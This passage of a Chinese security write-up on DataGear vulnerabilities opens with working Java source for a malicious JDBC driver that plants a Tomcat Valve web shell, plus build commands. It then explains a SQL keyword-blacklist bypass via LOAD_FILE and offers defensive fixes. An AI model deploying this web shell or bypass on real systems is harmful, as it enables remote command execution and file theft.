&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"cmd.exe",&nbsp;"/c", cmd};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmds =&nbsp;newString[]{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"/bin/bash",&nbsp;"-c", cmd};
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Process p = Runtime.getRuntime().exec(cmds);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; InputStream is = p.getInputStream();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ByteArrayOutputStream baos =
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;new&nbsp;ByteArrayOutputStream();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] buf =&nbsp;new&nbsp;byte[4096];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int len;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;((len = is.read(buf)) !=&nbsp;-1) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; baos.write(buf,&nbsp;0, len);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; p.waitFor();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 写入响应
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method getWriter = response.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("getWriter");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;writer = getWriter.invoke(response);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method write = writer.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("write",&nbsp;String.class);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; write.invoke(writer,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;newString(baos.toByteArray()));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method flush = writer.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("flush");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; flush.invoke(writer);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;&nbsp;// 不继续传递请求
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception e) {}

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 无 magic 参数 → 正常传递给下一个 Valve
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(next !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Method invokeNext = next.getClass().getMethod(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"invoke",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; request.getClass().getInterfaces()[0],
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response.getClass().getInterfaces()[0]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; invokeNext.invoke(next, request, response);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Valve 接口的其他方法
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("getNext".equals(methodName))&nbsp;return&nbsp;next;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("setNext".equals(methodName)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; next = args[0];&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("backgroundProcess".equals(methodName))&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("isAsyncSupported".equals(methodName))&nbsp;returntrue;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("getContainer".equals(methodName))
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;standardContext;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;("setContainer".equals(methodName))&nbsp;returnnull;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnull;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; );

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 注入到 Pipeline
&nbsp; &nbsp; &nbsp; &nbsp; Method addValve = pipeline.getClass()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .getMethod("addValve", valveClass);
&nbsp; &nbsp; &nbsp; &nbsp; addValve.invoke(pipeline, valve);
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// --- JDBC Driver 接口空实现 ---
&nbsp; &nbsp;&nbsp;public&nbsp;Connection connect(String&nbsp;url, Properties info) {&nbsp;returnnull; }
&nbsp; &nbsp;&nbsp;publicboolean&nbsp;acceptsURL(String&nbsp;url) {&nbsp;returntrue; }
&nbsp; &nbsp;&nbsp;public&nbsp;DriverPropertyInfo[] getPropertyInfo(String&nbsp;url, Properties info) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnnew&nbsp;DriverPropertyInfo[0];
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;int getMajorVersion() {&nbsp;return1; }
&nbsp; &nbsp;&nbsp;public&nbsp;int getMinorVersion() {&nbsp;return0; }
&nbsp; &nbsp;&nbsp;publicboolean&nbsp;jdbcCompliant() {&nbsp;returnfalse; }
&nbsp; &nbsp;&nbsp;public&nbsp;Logger getParentLogger() {&nbsp;returnnull; }
}

编译打包

javac -encoding UTF-8&nbsp;-source&nbsp;8&nbsp;-target&nbsp;8&nbsp;-d . EvilDriver.java
jar cf evil-driver.jar evil/EvilDriver.class&nbsp;evil/EvilDriver$1.class

效果

说到底,这条链说明的是,后台里一个看起来“只是上传驱动、测试连接”的功能,最后直接碰到了运行时类加载边界。

这事真正该盯的,不是某个内存马怎么写,而是这一点:

业务系统里所有“动态加载外部驱动/插件/库”的能力,都应该先被当成潜在执行面看。

这种功能如果非留不可,起码得补上这些控制:

  • 只有高权限管理员能上传驱动,并且权限与普通数据源管理彻底隔离。

  • 上传内容要做类型、签名、来源或白名单校验,不能“给个jar就吃”。

  • 驱动目录和运行目录隔离,避免临时文件直接进入可加载路径。

  • 测试连接功能不要在主应用上下文里直接完成任意类加载。

  • 所有driver上传、driver变更、testConnection调用都应该有明确审计日志。

很多后台系统的坑,往往都是存在于这种“只是想多兼容几种数据库”的设计里。

  1. SQL语句黑名单绕过,最后落到任意文件读取

第二个点我觉得更有代表性,因为它不是某个冷门调用链的问题,而是很典型的“黑名单思维”翻车。

在/dataSet/preview/SQL这条接口里,可以执行SQL预览逻辑。

@RequestMapping(value =&nbsp;"/preview/"&nbsp;+ DataSetEntity.DATA_SET_TYPE_SQL, produces = CONTENT_TYPE_JSON)
@ResponseBody
public&nbsp;TemplateResolvedDataSetResult previewSql(HttpServletRequest request, HttpServletResponse response,
&nbsp; &nbsp; &nbsp; &nbsp;Model springModel,&nbsp;@RequestBody&nbsp;SqlDataSetPreview preview) throws Throwable
{
&nbsp; &nbsp; User user = getCurrentUser();
&nbsp; &nbsp; SqlDataSetEntity entity = preview.getDataSet();

&nbsp; &nbsp;&nbsp;if(isEmpty(entity))
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;IllegalInputException();

&nbsp; &nbsp; inflateSaveEntity(request, entity);
&nbsp; &nbsp; trimSqlDataSetEntity(entity);

&nbsp; &nbsp;&nbsp;// 添加时
&nbsp; &nbsp;&nbsp;if&nbsp;(StringUtil.isEmpty(entity.getId()))
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;inflateSaveAddBaseInfo(request, user, entity);
&nbsp; &nbsp; &nbsp; &nbsp;checkSaveSqlDataSetEntity(request, user, entity,&nbsp;null);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 查看时
&nbsp; &nbsp;&nbsp;elseif&nbsp;(preview.isView())
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;entity = (SqlDataSetEntity) getByIdForView(getDataSetEntityService(), user, entity.getId());
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// 编辑时
&nbsp; &nbsp;&nbsp;else
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;String&nbsp;id = entity.getId();

&nbsp; &nbsp; &nbsp; &nbsp;checkSaveSqlDataSetEntity(request, user, entity,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;new&nbsp;OnceSupplier<>(() ->
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(SqlDataSetEntity) getByIdForEdit(getDataSetEntityService(), user, id);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}));
&nbsp; &nbsp; }

&nbsp; &nbsp; DtbsSourceConnectionFactory connFactory = entity.getDtbsCnFty();
&nbsp; &nbsp; DtbsSource dtbsSource = (connFactory ==&nbsp;null&nbsp;?&nbsp;null&nbsp;: connFactory.getDtbsSource());
&nbsp; &nbsp;&nbsp;String&nbsp;dtbsSourceId = (dtbsSource ==&nbsp;null&nbsp;?&nbsp;null&nbsp;: dtbsSource.getId());

&nbsp; &nbsp;&nbsp;if&nbsp;(StringUtil.isEmpty(dtbsSourceId))
&nbsp; &nbsp; &nbsp; &nbsp;thrownew&nbsp;IllegalInputException();

&nbsp; &nbsp; dtbsSource = getDtbsSourceNotNull(dtbsSourceId);

&nbsp; &nbsp; DtbsSourceConnectionFactory connectionFactory =&nbsp;new&nbsp;DtbsSourceConnectionFactory(getConnectionSource(),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dtbsSource);
&nbsp; &nbsp; entity.setConnectionFactory(connectionFactory);
&nbsp; &nbsp; entity.setSqlValidator(this.dataSetEntityService.buildSqlValidator(entity));

&nbsp; &nbsp; DataSetQuery query = convertDataSetQuery(request, response, preview.getQuery(), entity);
&nbsp; &nbsp;&nbsp;return&nbsp;doPreviewSql(entity, query);

问题不在它有没有校验,而在这套校验本身就站不住。原始笔记里有一句话,基本把这个问题说透了。

最核心的正则,生成的正则为([^\\w]|^)(LOAD)([^\\w]|$),要求关键字前后不能是_或字母数字。这导致LOAD_FILE()中LOAD后紧跟_而绕过检测。同理EXEC()也可绕过EXECUTE的拦截。

对应到源码,就是这一段。

public static Pattern toKeywordPattern(String... keywords)
{
&nbsp; &nbsp; StringBuilder sb =&nbsp;new&nbsp;StringBuilder();

&nbsp; &nbsp; sb.append("([^\\_\\w]|^)");
&nbsp; &nbsp; sb.append("(");

&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < keywords.length; i++)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp;if&nbsp;(i >&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sb.append('|');

&nbsp; &nbsp; &nbsp; &nbsp;sb.append("("&nbsp;+ Pattern.quote(keywords[i]) +&nbsp;")");
&nbsp; &nbsp; }

&nbsp; &nbsp; sb.append(")");
&nbsp; &nbsp; sb.append("([^\\_\\w]|$)");

&nbsp; &nbsp;&nbsp;return&nbsp;compileToSqlValidatorPattern(sb.toString());
}

这套正则想拦的,是一个前后都不是下划线、字母、数字的独立关键字。

如果关键字是LOAD,那它最终想拦的是一个独立出现的LOAD。但像LOADFILE()这样的函数名里,LOAD后面紧跟的是下划线,而下划线被这套边界规则当成“单词内部字符”,于是正则就不会命中。

结果很简单:独立的LOAD被拦了,LOAD_FILE()放过去了。

这种黑名单最大的问题就在这儿。它不是在理解SQL语义,只是在猜字符串边界。

原始笔记里还提到,类似思路也会影响EXEC/EXECUTE这类关键字判断。本质上都是一个问题。

你以为自己在拦危险能力,实际上你只是在拦某个单词长得像危险能力的写法。

利用方式

这条利用链本身也不复杂。如果后端数据库支持对应文件读取函数,数据库账号权限又没有收死,就可以直接做文件读取。原文里给的结果,就是读出来以后再做base64解码拿到明文。

不过这个地方也不能写飘。它不是“接口一开就能读任何文件”。能不能真正读到内容,至少看下面几个条件:

  1. 后端数据库类型是否支持对应文件读取能力。
  2. 当前数据库账号是否具备相应权限。
  3. 目标文件路径是否对数据库进程可读。
  4. 这条SQL预览能力是否对当前用户开放。

但从安全设计上说,这已经够说明问题了。

把SQL安全寄托在关键字黑名单上,本来就是不稳的。

结果截图

更糟的是,这类实现很容易给开发者造成错觉,觉得“系统已经做了SQL校验”,于是后面权限和隔离反而放松了。

真要收这类风险,做法其实就这么几条:

  • 不要靠通用黑名单去赌所有数据库方言和函数组合。

  • 针对具体数据库类型做能力级限制,而不是只拦字符串。

  • 对预览SQL的账号做严格最小权限控制,默认不给文件读取、命令执行、外联等高危能力。

  • 对数据集预览、查询测试这类接口单独做高风险审计。

  • 能白名单就白名单,能解析AST或做结构化限制,就不要继续迷信字符串黑名单。

这类洞不花,但特别常见,而且很容易在真实系统里一放就是很多年。

  1. 两条链放在一起看

把两条链摆在一起,其实就剩两件事。

第一件事,是上传上去的东西最后进了类加载器。第二件事,是SQL这边把安全寄托在关键字黑名单上,结果边界一错,函数名直接穿过去。

这两个问题类型不一样,但都出在管理面功能上,而且都不是那种第一眼就会被当成高危入口的点。一个挂在“测试连接”上,一个挂在“SQL预览”上,看名字都很日常,真往下跟,碰到的却是类加载和文件读取这种边界。

所以我自己记这篇,不是为了记“某处能getshell、某处能读文件”这两个结果,而是记这两类入口:

  • 一类是上传、插件、驱动、模板这种东西,最后会不会进解释器、类加载器或者执行链。

  • 一类是校验看起来做了很多,实际只是字符串黑名单,稍微换个写法就能从边上绕过去。

  1. 修的时候先看什么

如果后面真要收这两个点,我会先往几个地方看。

先看driver这条线。上传上去的jar最后是不是直接进了可加载路径,driver上传和普通数据源管理是不是混在一套权限里,测试连接是不是就在主应用上下文里做类加载,这几个问题基本能把风险面勾出来。再往后就是日志,driver上传、driver变更、testConnection这些动作,如果连单独审计都没有,排查起来会很难受。

再看SQL预览这条线。现在是不是还在拿关键字黑名单硬拦,数据库类型有没有分开做能力限制,预览SQL用的账号是不是单独收过权限,文件读取、命令执行、外联这类能力是不是默认就在,这几件事一翻,大概就知道问题是停在“写法不严”,还是已经碰到真正的危险能力了。

如果是正在用这类平台的团队,我觉得也别先急着上价值,先把几件实事过一遍:谁能上传driver,谁能测连接,谁能执行SQL预览,权限是不是全混着;日志里有没有driver目录变更、异常连接测试、可疑SQL预览;这类管理面功能是不是已经很久没人专门审过。很多时候问题不在系统“看起来危险”,而在这些地方根本没人翻。

  1. 先记到这里

这次先记两条。一条是driver上传最后接到了类加载。一条是SQL黑名单被函数名从边上绕过去,最后能落到文件读取。

SSRF那条我先没往下写,后面再跟。

作者:一寸灰

编者:千里

  • 欢迎关注我们的公众号、CSDN、视频号、BiliBili账号
  • 如您有意加入我们新建设的安全私域圈子,可扫码加入,我会和我的智能体一起用心地经营这一方天地


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:东方隐侠安全团队 一寸灰 一寸灰《我翻DataGear源码时,顺手摸到这两条危险的链》

评论:0   参与:  0